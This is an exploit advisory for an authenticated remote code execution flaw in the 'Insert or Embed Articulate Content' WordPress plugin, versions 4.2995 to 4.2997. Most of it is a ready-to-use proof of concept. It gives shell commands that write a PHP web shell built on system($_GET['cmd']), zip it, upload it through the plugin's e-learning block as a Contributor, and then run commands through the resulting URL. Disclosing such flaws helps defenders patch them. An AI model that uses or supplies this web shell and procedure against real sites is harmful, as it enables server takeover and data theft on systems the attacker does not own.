WordPress Plugin Insert or Embed Articulate Content into WordPress Remote Code Execution

2019.06.20
Credit: xulchibalraa
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

# Exploit Title: Authenticated code execution in `insert-or-embed-articulate-content-into-wordpress` Wordpress plugin # Description: It is possible to upload and execute a PHP file using the plugin option to upload a zip archive # Date: june 2019 # Exploit Author: xulchibalraa # Vendor Homepage: https://wordpress.org/plugins/insert-or-embed-articulate-content-into-wordpress/ # Software Link: https://downloads.wordpress.org/plugin/insert-or-embed-articulate-content-into-wordpress.4.2995.zip # Version: 4.2995 <= 4.2997 # Tested on: Wordpress 5.1.1, PHP 5.6 # CVE : - ## 1. Create a .zip archive with 2 files: index.html, index.php echo "<html>hello</html>" > index.html echo "<?php echo system($_GET['cmd']); ?>" > index.php zip poc.zip index.html index.php ## 2. Log in to wp-admin with any user role that has access to the plugin functionality (by default even `Contributors` role have access to it) ## 3. Create a new Post -> Select `Add block` -> E-Learning -> Upload the poc.zip -> Insert as: Iframe -> Insert (just like in tutorial https://youtu.be/knst26fEGCw?t=44 ;) ## 4. Access the webshell from the URL displayed after upload similar to http://website.com/wp-admin/uploads/articulate_uploads/poc/index.php?cmd=whoami


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